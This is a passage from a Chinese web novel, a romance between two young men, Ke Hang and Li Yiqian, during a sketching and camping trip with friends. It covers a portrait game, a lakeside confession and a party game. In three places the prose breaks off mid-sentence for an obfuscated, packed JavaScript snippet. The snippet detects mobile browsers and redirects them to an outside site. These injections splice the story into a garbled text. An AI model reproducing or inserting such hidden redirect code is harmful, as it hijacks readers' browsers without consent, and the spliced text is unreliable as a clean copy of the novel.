“我会努力的。”李一谦认真看着他,眸光熠熠。 柯杭挠挠脸:“倒也不用那么努力。” “规定个时间呗。”柯杭说。 琨哥:“半小时?” 万煦:“十分钟?” 易清:“嗨呀,五分钟就行。” 柯杭满头黑线:“你画速写去吧。” 琨哥将目光看向李一谦:“小谦说吧,我们以他为准。” 李一谦看向柯杭,试探道:“二十分钟?” 柯杭低头看画纸,找了个合适的板子垫着,拿着笔开始起形:“随你。” 风吹过树林,时不时传来一阵鸟鸣,铅笔落在画纸上响起窣窣声。 “等我放首歌。” “你还带了蓝牙音箱?” “不能带?” “……” 柯杭一直能感受到李一谦不断打量他的视线,直到节奏轻快的歌声响起,他实在忍不住抬头,目光接触的瞬间又将视线转向桌上他的画。 谁知这人立马用手遮住。 柯杭:“?”什么意思,这么见外。 “我看看?” “画完给你看。” “行。”柯杭忽然想起自己去年送李一谦的生日礼物,不经意间提起:“对了,我去年送你的画你放哪儿去了?” 李一谦问:“哪幅?大部分画都在书房。” “生日送你的那幅。” 李一谦立马想起,便说:“放在书房了,不然每天回房间看着自己的脸怪怪的。” 柯杭哼哼两声,问:“是不是很逼真?” “什么什么什么?” 易清一打岔,大家都望着他俩。 柯杭没搭理,继续埋头苦干。 李一谦倒很热心地回答他:“我哥去年送我的一幅肖像画。” “啊,”琨哥想了想,开口问:“画了两三个月的那幅?” “我知道我知道,那幅画他画的可细了,那几天我正当无聊,每次逛都看到他在画头发,比我动刀子都细。” 万煦赞同道:“那是我第一次看他画写实油画。” 柯杭:“……”一群多嘴的朋友。 20. 娶啊 二十分钟还没过一半,柯杭就放下笔,朝李一谦招招手,“手机给我,我帮你拍视频。” 李一谦正埋头苦画,头也没抬,“在裤包。” 柯杭便自己拿了,当然是手指捻起一角扯出来,绝对没有碰到什么,因为有点心虚。 把手机调成录像模式,柯杭开始说话:“这里是写生小组娱乐游戏之画像。”他起身,将镜头对准自己的画:“如此栩栩如生,想必大家应该知道画的是谁吧?” “接下来,看看我旁边这位,画的是谁呢?”柯杭看了眼琨哥的画,竟有一瞬凝滞,“琨哥,你别太宠了。” 画纸上,是一位潇洒的剑客,手挽剑花,立于一节翠竹之上,脸部几笔勾出易清的五官——正是易清想要的“侠客”。 记录下这幅画后,柯杭往边上挪了一个位置,万煦的后脑勺露了出来:“很健康的发色,我们来看一下他的画。” “可以看出他画的是个帅小伙啊,仪表堂堂眉清目秀风度翩翩,不过本人比画好看的多了。” 没注意画纸一侧的手握成了拳,发出咬牙切齿的声音:“杭子,你不说话没人当你是哑巴。” “对不起,实话实说了。”柯杭转向下一个人。 易清很有镜头感,抬头冲镜头招了招手,笑眯眯地举起自己的画:“不难看出我画的是谁吧?” “不难。” 画个计算机在人旁边,只差把万煦名字写画上了。 易清满意了:“我就说嘛。” “好了,接下来是最后一位选手,我们来看看他画的怎么样。” 柯杭嘴上这么说着,心里想的却是:“看你还怎么挡。” 随着柯杭的贴近,李一谦无奈地抬头:“哥。” 声音拖长,柯杭竟然觉得李一谦叫他的这声有种宠溺感。 柯杭你醒醒。 “看看呗,录着呢。”他说。 李一谦终于不再遮掩自己的画作。 画上是个简单的不能再简单的人像,或者只能称为“简笔画”。 笔触稚嫩,但却用心。 他的长发是柔软有层次的,耳垂上有一颗小小的痣,鹅蛋脸,眼珠子还给他打了高光。 怎么说呢,客观来讲不算好看,但柯杭觉得还行,至少比李一谦几年前画的他好看。 “还不错。”他说,“比前几年画好看多了。” 李一谦听到这话,面露欣喜,“真的还不错?” 柯杭有种良心受挫的感觉,点头:“真的。” 至少不是圆锥脸,葡萄眼,头发杂毛丛生,怎么不算有进步呢? 结束作画,大家把自己画的肖像送给对方。 琨哥很满意他画的自己,易清看了画后,一把抱住琨哥,简直热泪盈眶,直说琨哥我爱你。 倒是万煦揪着易清衣领问,为什么给他画了个那么丑的双眼皮。 对此,易清回答:“你单眼皮看着有些凶,给你画个双眼皮显温柔,拿我给你画的肖像去找对象,包有的兄弟。” 柯杭默默把李一谦的画夹在画纸中间,放入画包。 忽然想起什么,扯了扯对方衣角:“晚上吃完饭我们绕湖边散散步?” 李一谦眼里闪过一丝他看不懂的复杂情绪:“好。” 这一场肖像游戏结束,他们也开始了自己的画。 这回易清坐到了他旁边,两人先将画架挨近,起好型后才开始各自完成。 李一谦就坐在一旁,时不时记录一下他们的进度。 渐渐的,多了很多围观的客人。他们挤在遮阳伞下,或自己撑着伞在一旁看。 有个社牛的美女走过来问:“你好,请问你们的画,画好了卖吗?” 柯杭抬头眯起眼,指着自己问:“我啊?” “对呀,我看你画的很快。” 柯杭笑着拒绝:“我的画有人要了,小姐姐你问问他们呢。” “我我我。”易清举起一只手,“小姐姐,我这幅怎么样?” 波光粼粼的湖面逐渐变为橘黄色调,太阳一寸寸西沉。 柯杭伸了个懒腰,招呼李一谦到身边来:“帮我撕胶布。” 易清听到后吐槽他:“人家小谦就跟你仆人一样,指挥人家干这儿干哪儿的。” “嗯,”柯杭懒懒的靠在椅背上,看了眼弯腰帮他撕胶布的李一谦,又看向万煦,“然后呢。” “啧。” 万煦似乎和易清完成了某种脑电波对接,装模作样道:“我早就想说了,有人像弟弟对你一样对我,我恨不得把人娶回家。” “娶啊,也得看二谦想不想跟我回家。”柯杭回他。 李一谦撕拉的动作滞了一瞬,这次柯杭的目光始终跟随着他,终于发现了他的凝滞。 收拾好东西,几人拉好帐篷慢悠悠走到农家乐吃饭。 路上,柯杭落于几人之后,很快,身边便多了个人。 “二谦?” “怎么了哥?” “没事,腰有点痛。”柯杭手叉在腰上,说,“回去后没几天就是你生日了,今年有什么想要的东西吗?哥送你。” 李一谦:“没有什么想要的。” 柯杭问:“新款手机?” “姐姐给我换了新手机。” 柯杭梗了一瞬,又说:“耳机?键盘?游戏机?还是什么别的。” “你陪我过生日就很好了。”李一谦说。 这要求未免太低了,柯杭认为。 李一谦的生日在暑假,几乎每年生日他都有在,哪怕家里没人,他也会回家。因为李一谦知道他回来后,就会来找他。 柯杭笑着说:“你这话说的,我哪年没陪你过生日?” “我高一那年。”李一谦说完又委屈又善解人意道:“那年暑假你说老师要带你们去偏远地区给小朋友上美术课,你去了将近一个月。” 还真有这事儿。 这个活动出来的时候,柯杭觉得挺有意义的,便积极报名了。 没想到的是,出发时间刚好在李一谦生日前几天,他匆匆忙送了礼物后就走了。 想到这儿,心里有些愧疚,但那也是无可奈何:“就只有那一年对吧?” 李一谦不情不愿点头。 过了好一会儿,他才又开口:“那你再送我一本漫画吧,像十三岁送我的那本一样。” 李一谦十三岁时,收到了一本以他为原型的漫画书,柯杭自己画自己装订的。 里面记录了那些年柯杭所知道的,李一谦发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248897|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生过的有趣的事情。有很多事情本来没什么意思,但在柯杭眼中,那些故事塑造了现在的李一谦。 可是,那本漫画真的很厚。 因为那是他画了几年的量,整合了大半个月,总共四五十个小故事。 柯杭忍不住说:“祖宗诶,你是忘了那本有多厚吗?我们二十一号回去,你二十四号生日,我不眠不休给你画啊?” 然后他扭头,看见李一谦眼睛跟冒着精光似的,兴奋地问:“可以吗?” 柯杭:“……?” “逗你的,慢慢画嘛,不着急的。”李一谦轻笑,凑过来蹭了蹭他的头,“谢谢哥。” 他们两人和琨哥先一步到达餐厅,易清和万煦送画去了。 点好菜,他们两人也回来了。 等菜的过程中,万煦提议明天去爬山。 鸣鸟谷有几条山道可以上山顶,山顶去年刚建好缆车。 “好啊好啊。” “几点?不会夜爬吧?” 柯杭立马回绝:“不不不,我腰痛,不爬了。” 借口腰痛逃掉爬山,正想扭头告诉李一谦不用陪他,腰后就贴上一只手。 李一谦眼里尽是心疼,“这儿酸吗?等会儿回去我给你按按。” 柯杭一顿,“没事。” 桌下,别人看不见的地方,柯杭用指尖点点旁边人的大腿,伸出食指摇了摇。他确实不太想去,从小到大的爬山活动柯杭就没去过,因为有点恐高。和李家两兄妹去游乐场,也是从不敢玩高空项目。 “弟弟你呢?”琨哥问。 李一谦想了想:“你们去吧,我也想多睡会儿。” “行,那明天我们早上尽量轻点不打扰你们。” 吃完饭后,几人回到帐篷,将在外的一些东西收拾进帐篷。 帐篷很大,柯杭今天第一次走进来仔细观察。里面可以分为两个区域,休息区和娱乐区。 走两步就是大通铺,床垫上铺上了浅色床单,被子被整齐叠好,两边都有放东西的置物架与落地衣架。帐篷门的位置有一个伸缩幕布,可以用于投影和K歌。 卫生间就在帐篷的不远处,琨哥冲了个澡回来后,放松地躺在毯子上:“还好旁边有移动卫生间,洗个澡舒服多了。” “我们出去溜达一圈儿。”柯杭在帐篷内走了一圈后就穿鞋出去。 跟他一起出帐篷的还有李一谦。 白昼过后的晚风吹在他们身上,衣料紧贴着肌肤,一身凉爽。 昼夜交界之时,流金消散,橘色紫色的光泽交织在一起,浪漫了湖面,柔和了山峰。 他们漫步在湖边,晚风是他们忠实的听众。 李一谦觉得,柯杭看向湖面时,眼里也装着小小的一汪湖泊。 他们默不作声,柯杭开口打破沉静。 “前天半夜那事儿…” 他开了个头,后面也就没那么难说了:“我晚上喝的有点多,起床那会儿估计酒还没醒,有点冒犯你了。” 李一谦眉头紧蹙,却没说话。 柯杭深呼一口气:“你那啥也挺正常的,早晨的生理反应,还有就是时间也挺长的,别不开心什么的……” 他绞尽脑汁,似乎还想说些什么,被李一谦开口打断。 21. 别把我当小孩儿了 “别把我当成小孩儿了。”李一谦微愠。 柯杭满脸无辜:“我没有啊。” 那玩意儿那么大,谁还能继续把你当小孩儿。 “那你那天帮我?”根据李一谦对柯杭的了解,柯杭帮他百分之八十是怕他不会,可他好歹也是个成年人了。 “路见不平,乐于助人。”柯杭歪头凑到他跟前,“还不好意思啊?” “没有。”李一谦别开脸,“没有不好意思。” 柯杭在心里摸摸想:我就说嘛,那么健康一个家伙,好意思才是对的。 两人绕着湖边慢慢走着。 山里夜晚降温,很凉爽,又因为有湖,空气更是清冽。 平时他们聊天都是五五开,今天李一谦明显沉默,柯杭在心里叹了口气,若无其事地问:“今天下午我画的那幅画怎么样?” 李一谦回他:“好看。” “那送给你好不好?”柯杭停在他面前,“不要跟我闹别扭了,好不好?” 见对方要说话,柯杭抬手捂住他的嘴:“不准说''没有'',也不准再说其他的。这句话我就说一次,你好好听着,听过后我们就把它放在心里但面上别再提了,行就眨眨眼。” 李一谦眨了眨眼。 “真乖。”柯杭顺口表扬,深吸一口气呼出,“我呢,大概知道你对我的想法,我也承认之前一直拿你当小孩儿,但我正在改变这个思想,给我点时间,嗯?” 晚风拂过,柯杭的声音轻轻飘进了他的耳朵,李一谦瞪大了眼,握住他的手拿开,满脸不可置信:“你终于开窍了?” 柯杭:“?” 柯杭用另一只手拍他脑袋:“小兔崽子,说谁不开窍呢!” “哎哎哎!别打,打傻了怎么办!”李一谦抬手接他的巴掌。 本来不想动手的,李一谦这模样可太欠了。 双手被擒住,两人才重归于静。 “你怎么知道的啊?怎么想通的啊?” “哥,我做什么让你觉得我喜欢你了啊?” “哥?” 柯杭只恨自己刚才受了他委屈模样的蛊惑,这些言语直白的不得了,柯杭有点难绷。 “是因为我太作了吗?难道你喜欢这一类的?” 柯杭无语:“你能不能消停会儿。” “到底怎么想通的啊?”李一谦锲而不舍。 想到对方的薄脸皮,柯杭嘴角牵起笑,“你确定想知道?” 李一谦“嗯嗯”点头。 柯杭招招手:“脸凑过来。” 等李一谦凑过来后,柯杭在他耳边低声道:“就是......” “——这样啊。” 话音一落,他在李一谦脑门上亲了一下,然后笑着往前走。 李一谦怔愣了两秒后,大步往前追,“哥!” 柯杭本就心虚,听见中气十足的声音,以为对方要找自己算账,拔腿就跑。 “你跑什么呀!”李一谦边追边问。 柯杭速度不减,朝身后喊:“那你追什么啊!?” “因为你在跑啊。”李一谦大声道,然后停下喊:“不追了,快停下,天都快黑了,小心摔跤。” 柯杭刹住脚,才发现晚霞已经退场,天上繁星点点,挂着一弯月。 他双手叉腰,转向身后,李一谦立马出现在他面前。 “嗳,”柯杭微微喘着粗气,“你不是不追了么?”怎么一下就在我身后了。 李一谦小心地去勾他的手牵住,“没有灯,我怕你摔着。” 仿佛有一股暖流注入柯杭心头。 他有点夜盲,夜晚视力很差,所以房子是光线好的,卧室窗帘是不那么遮光的。 只要习惯了,也就不那么需要随时有光在了。 “真乖。”柯杭揉了一把他脑袋。 边揉边感慨,“我们也就一年不见,怎么就长这么高了。” 李一谦微微弯着腰,有些得意:“看你还把我当小孩儿。” 湖对面亮有几处灯光,依稀能看见他们的帐篷。 柯杭忽然“嘶”了声:“走吧,回去了,风吹着凉飕飕的。” 他们并肩而行。 到能看到帐篷门口的人时,柯杭想要松开手,李一谦确握得更紧。 “看得到了,可以松手了。”柯杭温声提醒。 李一谦当没听到似的,拉住他的手停下,看着他。 面前的人忽然就松开了手,站着不说话,脸也别到一边去,柯杭问:“怎么?” “哥。” “我没有不想追你。” “我一直都在追你,以前是追随你的脚步,现在是想陪在你身边。” “我会努力的,你多看看我。” 他刚才的追不是这个意思,李一谦显然误解了,但他并不讨厌这些话。 因为视物不太清,柯杭不太看得清李一谦是什么表情,便抬起手,问,“你脸红了吗?” 下一刻手心多了温热,李一谦把烧得又红又热的脸贴在他掌心,嘀咕着:“红了。” “这样啊。”柯杭夹着他脸颊肉捏了捏,“确实很烫。” “哥,那你告诉我,你有喜欢的人吗?” 柯杭摇了摇头,心想,怎么又是这个问题啊。 “……我知道了。” 因为看不太清,耳朵便格外灵敏,他能听出对方在委屈。 还是太年轻了,藏不住情绪。 “知道什么了?”柯杭反问,“你是想要一个答案还是一个机会呢?” “两个都要。” 柯杭挂上无奈的笑:“贪心了啊,李二谦。” “你知道的,我不到十岁就跟了你。” 柯杭无语:“……你这个''跟''和我认知中的''跟''是一个意思么?” “我不管。”李一谦蛮横道。 柯杭:“行行行,随你便吧,又不急。” 回到帐篷,柯杭看见毯子上放着两盒桌游。 万煦看着进门的两人,问:“左边还是右边?” 柯杭指了指:“左边。” 然后万煦将左边的盒子放置身后,把右边的盒子摆正,盒子上标着几个斗大的字——害你在心口难开。 “那你问我干嘛?”柯杭翻了个白眼。 易清在一旁帮腔,“左边啊,万煦没有说是你的左边呀。” “这个是我新买的,里面有新的卡片。”易清组织大家到外面天幕下坐好。 下午吃过烤肉后就打扫了一遍,桌上放着一壶气泡饮和前两天没吃完的零食,帐篷门顶上挂着灯。 “来,都坐好了啊。”万煦清了清嗓子,“由易清同学给大家介绍本次游戏。” 易清应声起立,非常浮夸地左右鞠了鞠躬,“谢谢,谢谢大家给我这个机会。”他一只手托起游戏盒,一只手稳住,给大家展示,“这个游戏呢,叫做''害你在心口难开'',纯字面意思。” “每个人戴上头环,”他举起游戏盒里的几个头环展示又放下,举起一摞卡片,介绍道:“这呢,有卡片,自己抽一张让人帮你贴在磁吸的位置上。” “游戏期间,可以用引导性语言让对方做出卡牌上的动作,但不能直接说。要不要试玩一把?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248898|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用。” 柯杭问:“输了的惩罚是什么?” 万煦答:”“输掉的话,一张速写,没问题吧?” 柯杭:“……?” 这一局最多三分钟,最多玩半小时就能摸透卡牌上的动作,快的话能得到十张速写“奖励”。 “这样吧,玩无限模式,如果能根据别人的反应猜中自己的牌,计一分;如果是输了,一次就能猜中自己的指令,那惩罚免了。”琨哥说。 李一谦:“那一分可以抵扣一次惩罚?” “可以啊,就这样玩。” 李一谦悄悄勾住柯杭的手指。 柯杭:“行。” 反应灵敏的话,还可以。 各自绑好头环,抽出卡片让身旁的人帮忙戴上。 柯杭抬起头,和对面的易清对上眼,噗一声笑了,易清不明所以,也跟着笑。 易清:“?” “哈哈哈摘了,摘了吧易清。”柯杭拍着大腿嘲笑。 易清环视四周,除了自己是一脸懵,大家或多或少都带着笑,他嘴角一抽:“我这个总不能是’对人笑’吧?” 李一谦善意提醒:“比这个还过分一点。” 易清满头黑线,深呼一口气,问:“我现在正在做这件事?” 琨哥怜爱地点点头。 “靠,不会是’呼吸’吧?”易清大喊。 柯杭笑得直拍腿,“哎哟,笑死我了。”他刚准备拍拍李一谦,又顿住,笑着说:“二谦,给我们小易哥哥计一张速写。” 卡牌被取下,易清怒气盎然,十分夸张地将牌摔到桌布上,接着往后倒去捧腹大笑:“哎哟什么运气。” “这个被打掉一张是不是就得马上补上?”李一谦问。 柯杭接收到他的提醒,对着易清说:“哎!快抽牌,下一张了。” 万煦帮易清戴好新的卡片后,从面前的果盘里拿了一颗草莓吃,又将果盘推向柯杭。 他问:“你们明天真不去爬山?” “我是真懒得爬,天生没有运动细胞。”柯杭看果盘里的草莓鲜红欲滴,正准备拿一颗,身旁一只手就先他一步拿起一颗,摘掉草莓蒂喂他嘴边。 李一谦的头上的卡牌是“肢体接触”,柯杭往身旁偏了一下,不准备碰到他。 柯杭想用手拿着自己吃,但李一谦的手躲了一下,他忽然意识到什么,张嘴吃下草莓,指着自己卡牌说:“拿水果,对不对?” 易清刚换上新卡牌,不服气地说:“把他俩分开!一个东边一个西边!” “不至于吧你。”柯杭作出惊讶的样子。 易清:“还有弟弟!换卡!” 柯杭奇怪道:“他怎么了” “他喂你草莓!”易清指指草莓又指指柯杭的嘴。 李一谦立马说:“我的动作是’触碰’?”他无辜地举起双手,“可是我刚才没有碰到他,如果隔着草莓算碰到的话,那我认输。” 柯杭气定神闲,递给易清一个眼神,笑着说:“是啊,也没碰到我呀。” 易清往琨哥肩上一靠,可怜巴巴道:“琨哥,他们耍赖。” 琨哥下意识拍他头安慰:“没事,你去坐他俩中间。” 结果下一秒易清嘴里发出反派的笑声:“桀桀桀,琨哥,把你的卡片摘下来!” 柯杭取下自己的卡片,自己贴上张新的,“琨哥,猜猜你是什么?” “摸脑袋?要不就是安慰别人。” “Bingo!”柯杭打了个响指,和易清击了个掌,又歪身子碰了下李一谦:“你掉进我们的圈套了。” 22. 你是不是对我太好了一点 从第二张卡片开始,柯杭和李一谦就分开坐,没想到分开后眼神交流得更顺了。 两人战果都不错,没输几次,他们玩了半个多小时后,选了一部今年新春档电影消磨时间。 躺在地铺上,易清已经开始打哈欠了。 观影期间,柯杭和李一谦两人不太好说话,于是拿出手机调低亮度开始打字。 李一谦在手机上敲出几个字,点击发送。 柯杭的手机响了一下,他看着消息提示,看向李一谦,用眼神询问什么意思。 李一谦指指手机屏幕。 柯杭解锁手机。 [二谦]:哥,你的腰还痛吗? 柯杭笑了,决定逗人玩玩。 [木]:怎么,痛的话你要给我揉揉吗? [木]:但你前手给我揉,他们看到了马上就会夸你,然后说想体验一下,然后你就成为大家的按摩师。 柯杭打完字后没有发出去,任由李一谦靠在他肩膀上看。 [而且我腰也没那么痛,有你在,最近我都不像以前一样一坐坐一天,谢谢你啊。] “那你今晚在湖边说的话都是真的吗?”李一谦凑到他耳边,压低声音问。 柯杭微微偏头,他揉了揉耳朵,有点痒:“什么?” 好好的打着字,怎么突然就说起话来了。 “你说你在努力把我当成一个男人,而不是弟弟;你说你会考虑我,让我再给你点时间。” 李一谦感觉自己变态极了,和柯杭耳鬓厮磨的同时,柯杭身上的沐浴露香味也无处遁形,他小心翼翼地嗅着柯杭身上的味道。 他声音有些哑:“可是哥哥,柯杭,该给时间的是你,不是我,你是不是对我太好了一点?” 听到自己的名字,柯杭猛地一激灵。 在他印象里,李一谦从来没有喊过他的名字。 哥,杭哥,哥哥,这才是李一谦会叫的。 他们之间所有的过界举动,在他脑海中不停上演。 山里夜晚很凉,他们都在身上搭了一床凉被,柯杭将腿支起来些。 他不禁想,如果以后听到李一谦叫自己名字还是这种反应的话,那在特定的时候,不知道该多爽。 “哥,好喜欢你。”李一谦深情款款。 落到柯杭耳里,像是超级大声的告白宣言,他连忙捂住李一谦的嘴,“不准说话,好好看电影。” 一谦眼珠子左右转了转,小声说:“他们都睡着了。” 他们睡了你能干嘛啊,柯杭在心里想。 但识趣地没说话。 毕竟李一谦这个人,现在有些得寸进尺。 刚才他亲了对方一下,感觉李一谦会找机会还回来。但他们又没在一起,这样不好。 哎,开了个不太好的头。 “嗯,然后呢?”柯杭问,接着裹了裹被子,“我也要睡了。” 李一谦跟他一起躺下,隔着被子抱着他,“哥,晚上起夜的话记得叫我。” “睡吧。”李一谦握住他被子外的手,轻轻吻了一下他的手背,温声说道,“晚安。” “晚安” 今天也确实累了,早上是他开的车,来了后不是坐着择菜吃饭,就是坐着画画,腰确实有些酸。 难得的运动竟然是湖边散步。 闭上眼后,疲惫感席卷他。 睡前他还在想,刚才和李一谦说晚安没有? 第二天柯杭起床时,太阳已经爬上头顶了,他听见几个人在外面热热闹闹传阅自己早上拍的照片。 昨天在帐篷旁画了半天,几人寻思着今天换个地方。见柯杭从帐篷里出来,招呼他过来坐着。 “我喜欢这个天幕。”柯杭坐在帐篷门口,听了大致,“我看农家乐那里也不错,要不今天去那儿?坐屋檐下应该还行。” “李一谦的话让他自己玩吧,他去那边又没什么玩的。” 李一谦看了他一眼,有些无奈:“我过去也可以做自己的事情啊。” “弟弟,柯杭就是个没心肺的,用完就扔,忘掉他,来当我弟。” 柯杭大骂:“滚蛋。” 琨哥在一旁止住这场未开始的战斗:“好了好了,小杭快去洗漱,洗漱完去吃饭了。” 李一谦递给柯杭一个盆:“都在里面了。” “跟我一块儿。”柯杭端着盆子戳李一谦。 李一谦乐得一起。 这一觉睡得很熟,他们日出三人组什么时候走的又什么时候回来的他都不知道。 总之肯定够八小时了。 他把李一谦叫来好像也没什么事情做。李一谦也不问叫他跟着干什么,就在一旁给他递牙膏,放洗脸水。 洗漱好后,他端着盆回去,自动忽略掉易清的打趣。 “我知道了,我原本以为是弟弟离不开杭子,没想到是杭子离不开弟弟。”易清特别欠地凑过去问:“每年开学的时候会有分离焦虑吗?我是说你,不是弟弟。” 柯杭比起拳头威胁,瞥到李一谦在笑,又想说算了。 万煦倒是替他把易清拉住了,拍头警示:“差不多得了啊。” 易清嘿嘿的笑。 放好东西后,他们一起去吃早饭。 路上柯杭在后面跟李一谦咬耳朵:“我总觉得,万煦对易清有点怎么呢。” “为什么?” "不知道,直觉吧。" 李一谦眼带笑意:“那哥之前怎么没感觉到我喜欢你呢?” 柯杭也笑嘻嘻的:“因为根本没往这方面想。” “不过易清变化挺大的。”柯杭说,“他最开始挺内向的,跟万煦玩儿多了后就变开朗起来了,整天嘻嘻哈哈的,看着喜庆。” “那我呢?”李一谦问。 “你也好。”柯杭说,“虽然说了尽量不提,但还是忍不住说,我以前不是不觉得你喜欢我,只是我以为的是那种喜欢,你知道吧。” 柯杭顿了顿,“就是,弟弟对哥哥的喜欢。因为我们认识后,你就比较黏我,我把你逗生气了你也不会说''我以后再也不要和你玩啦''这种话。'' “再加上,你对我有点盲目崇拜,以前我做点什么,你都会觉得我很牛逼,其实并不是这样。” “我最开始很有包袱,觉得自己在你眼里这么牛下去也挺好的,但有点累。我也有很多缺点,当我展示出我的缺点时,你却更黏我了,这是我没想到的。” “那你呢?什么时候觉得自己喜欢我的?”柯杭问。 李一谦想了想,问:“你确定要知道?” “别说从小学就开始了啊,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248899|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不信。”柯杭心里紧张起来,但嘴上还在跑火车,“我一朋友,她有次和我吐槽他前男友,两人小学同学,初中关系一般,高中早恋,她问人家什么时候喜欢她的,你猜她前男友怎么说?” “说小学就开始喜欢她了?”李一谦猜测。 柯杭说:“是啊。关键是,她跟这男的小学不熟,初中还见过这男生给别的女生送花。” “那她其实也挺有问题的。” “嗯,确实有点。”柯杭走到他面前定住脚步,笑眯眯地问:“那李一谦同学你的答案呢?” ——“你俩又背着我们说什么悄悄话!” 不合时宜的声音响起,柯杭扭头看向发声人,心里想着:这张嘴真碎。 而后把话抛回去:“那你走那么快干嘛?过来听?” 易清义正言辞拒绝:“NO!我要干饭。” 柯杭对他翻了个白眼。 李一谦忽然开口:"我呢,第一次梦遗,是因为梦到了哥。" 柯杭:……? 他立马转头死盯着李一谦,眼里充满震惊。 这话是能说的吗? 柯杭抬头望天,被太阳刺得闭上眼,无助开口:“大哥,青天白日的,干什么呢?” 李一谦把头上戴的帽子摘下扣在柯杭脑袋上:“最开始的梦,什么都没有发生,只是梦到你坐在我身旁画画。” “第一次在梦里有实质性进展,是在十五岁。” “有一段时间我很少找你,不是因为升初三学习忙,是因为梦见了你,觉得……亵渎了你,没脸见你。” “但我想了想,你应该不知道,不然你怎么还会关心我的状态好不好?” 柯杭觉得,李一谦说一句,他的脸就烫一分。 算算时间,李一谦初三的时候,他刚好去A市上大学。 “你去大学的那段时间,最开始我觉得轻松了一些,因为不会经常见到你了,我的小心思可以藏住。” 柯杭替他羞愧:“请你把你的少男心事好好藏住,不要告诉我了!” “可是哥,你不是喜欢听这些吗?”李一谦坦然道。 “以前你总会问我有没有喜欢的人,我都说没有,可是我真有了,又不敢告诉你。” “今天正好一起说了。” “我们很久没有这样谈过心了。” 柯杭总觉得自己被撩了,可是没有证据。 好在他们已经达到吃饭的地方,他也不需要再接李一谦的话。、 他们一入座,老板就过来吃什么。 “这儿有纸质菜单,也可以扫二维码点单,我就先去厨房了。” 易清问:“所以老板就是专门过来给我们打个招呼的?” “是啊,远远看见一个脆生生的小帅哥,可不得从厨房里跑出来看看。”万煦揶揄道。 柯杭:“嗯?” 琨哥为他解惑:“刚才他俩争论谁最帅,到门口的时候,小易就非常大声地——” 万煦截过话头:“让我来说。”然后惟妙惟肖模仿起易清刚才的神情和话语:“他就非常大声地说''我才是最帅的'',你只有小卡拉米帅。” “然后我抬头发现老板一直盯着我看。”易清低下头。 柯杭大笑起来:“你现在是沙雕属性解锁了吗?” 23. 抬头,看我 这顿饭吃的很快。 吃过饭后,他们买了些干粮,到基地停车场去取车。 目的地是五公里外的小镇。 “之前一直说要来,但是懒得开车。”今天是易清自告奋勇开车。 琨哥问了句:“我记得你家在N市?” “错,”易清应道,“我家在隔壁省,但离N市很近,但我家在离市区最远的县,它甚至都没发展成为区。” 柯杭:“你家那儿有什么好吃的吗?” “有啊,桂花糕算吗?” 柯杭:“算,下次回家给我们寄点回来。” 易清很好说话:“行。” 十几分钟后,他们到达小镇。 小镇保留着一部分古宅建筑,瓦砖房,看着很有意境。他们挑了一条人流量较少,空地较大的小巷。 今天借了基地的折叠椅,又带上了画架。 李一谦找了一家离柯杭近的小店坐下,看了一会儿柯杭后,借了一把遮阳伞给他插在椅子上。 柯杭画画的时候真的很认真,心无旁骛,李一谦很喜欢他这个样子。 在基地聊天的时候,柯杭说把自己的缺点展现出来了,李一谦是想反驳的,因为他根本没觉得那些是柯杭的缺点。 客观来讲,没有完美的人,但在柯杭身上,他永远客观不起来。 在他眼里的柯杭就是很好,非常好。 他喜欢柯杭记录与他相关的事情,画成小漫画保存起来,他时时可以回味。 当他拆开礼物看到是本书时,没有那么震撼,可是他看到封面的名字时,确实诧异了一瞬。翻开漫画书,一页又一页,记录了他身上发生的一件又一件事,甚至有些事情他已经遗忘。 但柯杭很好地帮他记住了。 被人这样用心对待,又怎么会喜欢上别人呢? 向家里坦白时,他其实也是忐忑的,所以先告知了姐姐。 或许是父母常年不在家,李一谦更依赖姐姐一些。在父母面前表现出的都是小大人模样,而不是个小孩子。 过了最开始的迷茫,李一谦已经能很好接受这件事情。他记得姐姐当时的表情,难以置信,好在家人也不反对。 李一谦最开始很怕,因为柯杭的性取向父母双方都知道,他又是年龄小的那一方,怕父母知道他喜欢的对象是柯杭后,觉得是柯杭带坏他。 所以在坦白时,留了个心眼,没有告诉他们。 但对于姐姐,他则是毫无隐瞒。 姐姐不反对,只希望他开心,还告诉他柯杭其实在感情上很迟钝。 升高三的那个暑假,那天柯杭喝醉,他就知道柯杭心里有他,但不能说,因为会有罪恶感。 所以他当作醉酒后的吐露心事没发生。 想的是一回事,做起来又是一回事。 柯杭开始逃避他,事发第三天就跑回A市,整整一年没有回过那个家。 所以李一谦学会克制自己对他的喜欢,不让自己表现的太明显,那样的话,柯杭还会时不时应付他一句。 他知道,他们的联系是斩不断的,而他只需要一个契机。 